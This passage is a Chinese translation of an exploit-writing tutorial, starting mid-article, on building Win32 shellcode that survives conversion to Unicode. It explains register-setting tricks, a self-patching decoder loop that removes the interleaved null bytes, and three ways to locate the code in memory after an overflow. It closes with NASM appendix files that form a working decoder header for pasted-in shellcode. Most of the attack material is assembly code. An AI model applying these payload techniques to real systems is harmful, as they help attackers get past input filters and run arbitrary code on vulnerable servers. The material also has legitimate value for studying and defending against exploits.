更大的困难:我们可以设置 EAX 为任意值,但是我们需要一些技巧来处理堆栈。
________________________________________________________________
|mov eax,0xAA003400 ; EAX = 0xAA003400 |
|push eax |
|dec esp |
|pop eax ; EAX = 0x003400?? |
|add eax,0x12005600 ; EAX = 0x123456?? |
|mov al,0x0 ; EAX = 0x12345600 |
|mov ecx,0xAA007800 |
|add al,ch |
| ; 最终: EAX = 0x12345678 |
|________________________________________________________________|
同时注意,我们可能同样需要设置一个 0x00:
如果我们希望由 0x00 来代替 0x12,可以通过添加 0x56 到 ah 来代替执行添加 0x00120056 到寄存器中。
________________________________________________________________
|mov ecx,0xAA005600 |
|add ah,ch |
|________________________________________________________________|
如果我们希望由 0x00 来代替 0x34,可以通过在开始设置 EAX = 0x00000000 来代替设置 0x34。
如果我们希望 0x00 来代替 0x56,那么只须简单地通过添加 0x100 - 0x56 = 0xAA 来实现。
________________________________________________________________
| ; EAX = 0x123456?? |
|mov ecx,0xAA00AA00 |
|add ah,ch |
|________________________________________________________________|
如果我们希望由 0x00 来代替最后的字节,那么只须丢掉最后的一行即可。
可能你没有考虑到这么多,记住你能够跳转到一个给定的地址(假设地址存放在 EAX 中):
________________________________________________________________
|50 push eax |
|C3 ret |
|________________________________________________________________|
你可能在绝望的时候使用这种代码。
--[ 4 - 策略
以上看起来利用一些这么小的操作码是否不可能执行什么实际的ShellCode,答案是否!我们来看看这种开发思路:
给出一个可执行的ShellCode,我们必须去掉每个字节之间的 00。我们需要一个循环(Loop_code),假设 EAX 指向了我们的ShellCode:
_Loop_code_:____________________________________________________
| ; eax 指向我们的 shellcode |
| ; ebx == 0x00000000 |
| ; ecx == 0x00000500 (例如) |
| |
| label: |
|43 inc ebx |
|8A1458 mov byte dl,[eax+2*ebx] |
|881418 mov byte [eax+ebx],dl |
|E2F7 loop label |
|________________________________________________________________|
问题在于没有Unicode字符,所以我们将它们转换为Unicode:
43 8A 14 58 88 14 18 E2 F7, 转换结果为:
43 00 14 00 88 00 18 00 F7
现在,考虑到我们可以书写数据到EAX指向的地址,那么转换这些 00 为原始的数据将是比较简单的事情了。
我们只需要这样做(假设EAX指向我们的数据)
________________________________________________________________
|40 inc eax |
|40 inc eax |
|C60058 mov byte [eax],0x58 |
|________________________________________________________________|
问题:仍然没有Unicode字符。例如两个 0x40 相连,我们需要在它们之间插入 00, 但单单一个 00 又不合适。我们需要如 00??00 类似的数据,并且它们不会影响到我们的代码,如:
add [ebp+0x0],al (0x004500)
这将是合适的,最后我们可以得到:
________________________________________________________________
|40 inc eax |
|004500 add [ebp+0x0],al |
|40 inc eax |
|004500 add [ebp+0x0],al |
|C60058 mov byte [eax],0x58 |
|________________________________________________________________|
-> [40 00 45 00 40 00 45 00 C6 00 58] 现在已经是Unicode编码了,呵呵!
在我们循环之前,必须有些事情要做:
首先,我们必须设置一个合适的计数器,我打算设置 ECX 为 0x0500,这将适应1280字节的ShellCode,不过这个是可以更改的。
-> 这可以轻松的实现,参见前面我们的讨论;
然后,我们必须设置EBX为 0x00000000,这样循环才可以完全得工作;
-> 这个也比较简单;
最后,我们必须设置EAX指向我们自己的ShellCode,这样才能够修改更换过的空字节。
-> 这将是一件艰难的事情,我们在后面讨论。
假设 EAX 指向了我们的代码,我们可以创建一个用来清洁代码的头部(我们使用 add [ebp+0x0],al 来排列空字符)
-> 第一部:我们设置 EBX=0x00000000 和 ECX=0x00000500 (缓冲区的大概位置)
________________________________________________________________
|6A00 push dword 0x00000000 |
|6A00 push dword 0x00000000 |
|5D pop ebx |
|004500 add [ebp+0x0],al |
|59 pop ecx |
|004500 add [ebp+0x0],al |
|BA00050041 mov edx,0x41000500 |
|00F5 add ch,dh |
|________________________________________________________________|
-> 第二部:循环代码的补丁:
43 00 14 00 88 00 18 00 F7 ===> 43 8A 14 58 88 14 18 E2 F7
这样我们需要恰好四字节的长度:
(使用 {add dword [eax],0x00??00??} 占用了更多的位置,我们将使用一个转移指令 {mov byte [eax],0x??} 来代替)
________________________________________________________________
|mov byte [eax],0x8A |
|inc eax |
|inc eax |
|mov byte [eax],0x58 |
|inc eax |
|inc eax |
|mov byte [eax],0x14 |
|inc eax |
| ; 更多的 inc 能够得到 EAX 指向的ShellCode |
|________________________________________________________________|
排列队列指令{add [ebp+0x0],al} :
________________________________________________________________
|004500 add [ebp+0x0],al |
|C6008A mov byte [eax],0x8A ; 0x8A |
|004500 add [ebp+0x0],al |
| |
|40 inc eax |
|004500 add [ebp+0x0],al |
|40 inc eax |
|004500 add [ebp+0x0],al |
|C60058 mov byte [eax],0x58 ; 0x58 |
|004500 add [ebp+0x0],al |
| |
|40 inc eax |
|004500 add [ebp+0x0],al |
|40 inc eax |
|004500 add [ebp+0x0],al |
|C60014 mov byte [eax],0x14 ; 0x14 |
|004500 add [ebp+0x0],al |
| |
|40 inc eax |
|004500 add [ebp+0x0],al |
|40 inc eax |
|004500 add [ebp+0x0],al |
|C600E2 mov byte [eax],0xE2 ; 0xE2 |
|004500 add [ebp+0x0],al |
|40 inc eax |
|004500 add [ebp+0x0],al |
|________________________________________________________________|
现在很好了,EAX已经指向了循环的尾部,也就是ShellCode!
-> 第三部:循环代码(被空字符填充)
________________________________________________________________
|43 db 0x43 |
|00 db 0x00 ; overwritten with 0x8A |
|14 db 0x14 |
|00 db 0x00 ; overwritten with 0x58 |
|88 db 0x88 |
|00 db 0x00 ; overwritten with 0x14 |
|18 db 0x18 |
|00 db 0x00 ; overwritten with 0xE2 |
|F7 db 0xF7 |
|________________________________________________________________|
在这之后,将会被我们开始书写的原始的可执行的ShellCode所代替。
现在让我们计算一下头部的长度(空字节不算)
第一部 : 10 字节
第而部 : 27 字节
第三部 : 5 字节
-------------------
总共 : 42 字节
我发现这是可以接受,因为我可以处理一个Win32下450字节左右的ShellCode。
最后,我们做到了:一个ShellCode在它被转换为Unicode编码之后同样成功执行了。
这就是事实吗?当然不是,我们忘记了一些假设的事情。在前面我们假设 EAX 指向了循环代码的第一个空字节。但是我将解释如何获取它的方法。
--[ 5 - 代码的位置
问题很简单:我们需要在存储器中添加一些补丁来使得我们的循环代码正常地工作。因为我们自己来修补自己,所以需要知道自己在存储器当中的位置。
在汇编程序中,一种简单的方法是:
________________________________________________________________
|call label |
| |
| label: |
|pop eax |
|________________________________________________________________|
这将会获得存储器的绝对地址,并存储在 EAX 寄存器中。
在一个典型的ShellCode中,我们需要调用一个低一些的地址来避免空字节:
________________________________________________________________
|jmp jump_label |
| |
| call_label: |
|pop eax |
|push eax |
|ret |
| jump_label: |
|call call_label |
| ; **** |
|________________________________________________________________|
我们将会获得存储器的绝对地址为'****'。
但是在我们的环境中我们无法实现,因为我们没有跳转或调用指令。并且,我们不能通过任何的方式来搜寻存储器里的某个关键字。
但是我肯定的是一定有其他的办法,不过在此我仅给出了三种:
-> 第一种思路: 我们很幸运。
如果我们很幸运,期望一些寄存器正指向我们ShellCode的附近。事实上,这会有90%的可能性。这些地方不能被考虑为硬编码,因为在不同的主机之间进程相关的存储地址可能会移动(在服务器崩溃之前,它必定使用了我们的数据,并且正指向它们)。当然,我们可以添加一些数据到EAX寄存器当中。所以:
- 使用 XCHG 来获得 EAX 中近似的地址;
- 然后添加一个值到 EAX 中,最后移动到我们想要的任何地方。
问题在于我们不能使用 add al,r8 或 and ah,r8 。因为不要忘记:
EAX=0x000000FF + add al,1 = EAX=0x00000000
所以这些操作将会处理不同的事情,而这一切取决于 EAX 寄存器中的数据。
所以我们可能得到的就是: add eax,0x??00??00
没有问题的,我们可以添加 0x1200 到 EAX 寄存器如下:
________________________________________________________________
|0500110001 add eax,0x01001100 |
|05000100FF add eax,0xFF000100 |
|________________________________________________________________|
然后,简单地添加一些队列数据(“空操作”指令),这样 EAX 就指向了我们想要的地址,例如:
________________________________________________________________
|0400 add al,0x0 |
|________________________________________________________________|
这就可以很好的从新排列队列了。我们可能还需要一些 inc EAX 指令。
这种方法可能需要一些额外的地址空间(最大为128字节的空间,因为我们只能够得到 EAX 指向最近的地址模块 0x100,然后我们需要添加一些队列数据。因为每两字节实际上为一字节的空间,其中包含了一些空字节,我们最坏需要添加 0x100 / 2 = 128 字节)。
-> 第二种思路: 没有这么好的运气。
如果我们不能找到一个接近我们代码地址的寄存器,但是可以尝试找到一个合适的堆栈。我们期望 ESP 在溢出过程中没有被打乱。
你只需要从堆栈中出栈数据,直到找到一个合适的地址。这种思路不能适用于一个通用的方法,但是堆栈总是包含了应用程序在溢出之前的地址。注意你可以使用POPAD来出栈 EDI, ESI, EBP, EBX, EDX, ECX, 和 EAX。然后我们使用前面相同的方法。
-> 第三种思路: 上帝保佑我们!
现在,假设我们没有找到任何有用的寄存器,或则相关寄存器中的数据是变化的。并且,在堆栈中同样没有我们感兴趣的数据。
这儿有一种绝望的办法 -> 我们使用一个“自杀”的攻击方式。
我最后的思路如下:
- 获取一个随机的具有写权限的存储器位置;
- 修改其中的三个字节;
- 通过相对调用指令调用这个位置。
第一部需要很大的运气:我们需要找到一个具有写权限的节(Section)中的地址。我们最好在一个节的最后查找,这样往往会有一些空字节,因为我们将会执行随机的调用。最简单的办法就是在PE文件格式的 .data 节。通常这是一个非常大的空间,其标识为:读/写/数据。
所以现在我们可以在这个区域使用一个固定的地址。第一步就是在它的中部取得一个地址(如果在溢出以后其中的一个寄存器指向了无效的地址,我们就不需要做这些工作了)。假设地址为 0x004F1200 :
使用我们前面提到的方法,很容易设置 EAX 为这个地址:
________________________________________________________________
|B8004F00AA mov eax,0xAA004F00 ; EAX = 0xAA004F00 |
|50 push eax |
|4C dec esp |
|58 pop eax ; EAX = 0x004F00?? |
|B000 mov al,0x0 ; EAX = 0x004F0000 |
|B9001200AA mov ecx,0xAA001200 |
|00EC add ah,ch |
| ; 最后 : EAX = 0x004F1200 |
|________________________________________________________________|
然后,我们将修改这个可写的位置:
________________________________________________________________
|pop eax |
|push eax |
|ret |
|________________________________________________________________|
补丁的十六进制代码为: [58 50 C3]
在我们调用了这个地址以后,我们可以得到一个保存在 EAX 中的指向我们代码的指针。这就是这个问题的结尾,然后我们来修改以下:
记住,EAX 包含的为我们修改的地址。
我们下一步要做的就是修改 58 00 C3 00 ,然后将 EAX 向前移动一个字节,然后把最后一个字节 0x50 放到它们两者之间。
不要忘记字节在堆栈中的位置为反向的。
________________________________________________________________
|C7005800C300 mov dword [eax],0x00C30058 |
|40 inc eax |
|C60050 mov byte [eax],0x50 |
|________________________________________________________________|
处理完补丁后,我们必须调用这个位置。
当然我说过我们不能够调用任何东西,但是现在是没有办法的办法了,所以我们使用了一个相对调用:
________________________________________________________________
|E800??00!! call (here + 0x!!00??00) |
| (**) |
|________________________________________________________________|
在例子中,为了是我们的这种方法执行成功,还必须修改这个节尾部的大量的空字节。这样我们就可以调用这个区域的任何地址,直到我们调用了修改的三字节补丁。
在执行了这个调用后,EAX 将会拥有一个地址(**),我们解放了,因为我们需要添加一个可计算的数值到 EAX 寄存器中,这个值就是在我们的代码中的两个偏移量之间的距离。由于我们希望添加的值小于 0x100,因此我们不能使用先前的技术来将字节的数据添加到 EAX 当中。我们不能使用如 {add eax, imm32} 的填充方式,下面让我们看看其他的办法:
add dword [eax], byte 0x??
这是一个关键,因为我们可以添加一个字节的数据到一个dword里,这就太好了。
EAX 指向的(**),所以我们可以使用这个存储器位置来设置 EAX 的新的数据,然后返回到 EAX 中去。假设我们希望添加 0x?? 到 EAX 中:
add dword [eax], byte 0x??
我们使用了有符号数,所以如果我们使用了过大的数据值,将会执行减操作来代替加操作。
________________________________________________________________
|0400 ad al,0x0 ; the 0x04 will be overwritten|
|8900 mov [eax],eax |
|8300?? add dword [eax],byte 0x?? |
|8B00 mov eax,[eax] |
|________________________________________________________________|
所有的事情都对了,现在可以使 EAX 指向我们希望的循环代码中精确的第一个空字符了。我们只需要计算出 0x??(只须计算循环代码和调用指令间包括空字符的长度,您将会发现是 0x5A)。
--[ 6 - 结论
最后,我们可以制作一个通用的ShellCode,它在字符串转换为Unicode的时候就可以不用任何的修改。
我将期待在这方面的其他的思路和技术,并且可以肯定的是,我还有很多的东西没有考虑到。
由于 :
- NASM Compiler and disassembler (i like its style =)
- Datarescue IDA
- Numega SoftIce
- Intel and its processors
文档 :
-
_blank href=http://www.intel.com>http://www.intel.com for the official intel assembly doc
问候 :
- rix, for showing us beautiful things in his articles
- Tomripley, who always helps me when i need him !
--| 7 - 附录:代码
为了测试的目的,我给出了一些可以使用的代码(NASM方式)。它们不是真实例子的代码,但是我收集了我所有的例子。
- main.asm ----------------------------------------------------------------
%include "\Nasm\include\language.inc"
[global main]
segment .code public use32
..start:
; *********************************************
; * Assuming EAX points to (*) (see below) *
; *********************************************
;
; Setting EBX to 0x00000000 and ECX to 0x00000500
;
push byte 00 ; 6A00
push byte 00 ; 6A00
pop ebx ; 5D
add [ebp+0x0],al ; 004500
pop ecx ; 59
add [ebp+0x0],al ; 004500
mov edx,0x41000500 ; BA00050041
add ch,dh ; 00F5
;
; Setting the loop_code
;
add [ebp+0x0],al ; 004500
mov byte [eax],0x8A ; C6008A
add [ebp+0x0],al ; 004500
inc eax ; 40
add [ebp+0x0],al ; 004500
inc eax ; 40
add [ebp+0x0],al ; 004500
mov byte [eax],0x58 ; C60058
add [ebp+0x0],al ; 004500
inc eax ; 40
add [ebp+0x0],al ; 004500
inc eax ; 40
add [ebp+0x0],al ; 004500
mov byte [eax],0x14 ; C60014
add [ebp+0x0],al ; 004500
inc eax ; 40
add [ebp+0x0],al ; 004500
inc eax ; 40
add [ebp+0x0],al ; 004500
mov byte [eax],0xE2 ; C600E2
add [ebp+0x0],al ; 004500
inc eax ; 40
add [ebp+0x0],al ; 004500
;
; Loop_code
;
db 0x43
db 0x00 ;0x8A (*)
db 0x14
db 0x00 ;0x58
db 0x88
db 0x00 ;0x14
db 0x18
db 0x00 ;0xE2
db 0xF7
; < Paste 'unicode' shellcode there >
-EOF-----------------------------------------------------------------------
Then the 3 methodes to get EAX to point to the chosen code.
(N.B : The 'main' code is 42*2 = 84 bytes long)
- methode1.asm ------------------------------------------------------------
; *********************************************
; * Adjusts EAX (+ 0xXXYY bytes) *
; *********************************************
; N.B : 0xXX != 0x00
add eax,0x0100XX00 ; 0500XX0001
add [ebp+0x0],al ; 004500
add eax,0xFF000100 ; 05000100FF
add [ebp+0x0],al ; 004500
; we added 0x(XX+1)00 to EAX
; using : add al,0x0 as a NOP instruction :
add al,0x0 ; 0400
add al,0x0 ; 0400
add al,0x0 ; 0400
; [...] <-- (0x100 - 0xYY) /2 times
add al,0x0 ; 0400
add al,0x0 ; 0400
add al,0x0 ; 0400
; (N.B) if 0xYY is odd then add a :
dec eax ; 48
add [ebp+0x0],al ; 004500
-EOF-----------------------------------------------------------------------
- methode2.asm ------------------------------------------------------------
; *********************************************
; * Basically : POPs and XCHG *
; *********************************************
popad ; 61
add [ebp+0x0],al ; 004500
xchg eax, ? ; 1 non null byte (find out what to do here)
add [ebp+0x0],al ; 004500
; do it again if needed, then use methode1 to make everything okay
-EOF-----------------------------------------------------------------------
- methode3.asm ------------------------------------------------------------
; *********************************************
; * Using a CALL *
; *********************************************
; Get the wanted address
mov eax,0xAA00??00 ; B800??00AA
add [ebp+0x0],al ; 004500
push eax ; 50
add [ebp+0x0],al ; 004500
dec esp ; 4C
add [ebp+0x0],al ; 004500
pop eax ; 58
add [ebp+0x0],al ; 004500
mov al,0x0 ; B000
mov ecx,0xAA00!!00 ; B900!!00AA
add ah,ch ; 00EC
add [ebp+0x0],al ; 004500
; EAX = 0x00??!!00
; awfull patch, i agree
mov dword [eax],0x00C30058 ; C7005800C300
inc eax ; 40
add [ebp+0x0],al ; 004500
mov byte [eax],0x50 ; C60050
add [ebp+0x0],al ; 004500
; just pray and call
call 0x???????? ; E800!!00??
add [ebp+0x0],al ; 004500
; then add 90d = 0x5A to EAX (to reach (*), where the loop_code is)
; case where 0xXX = 0x00 so we can't use methode1
add al,0x0 ; 0400 because we're patching at [eax]
mov [eax],eax ; 8900
add dword [eax],byte 0x5A ; 83005A
add [ebp+0x0],al ; 004500
mov eax,[eax] ; 8B00
; EAX pointes to the very first null byte of loop_code
|=[ 结束 ]=-------------------------------------------------=|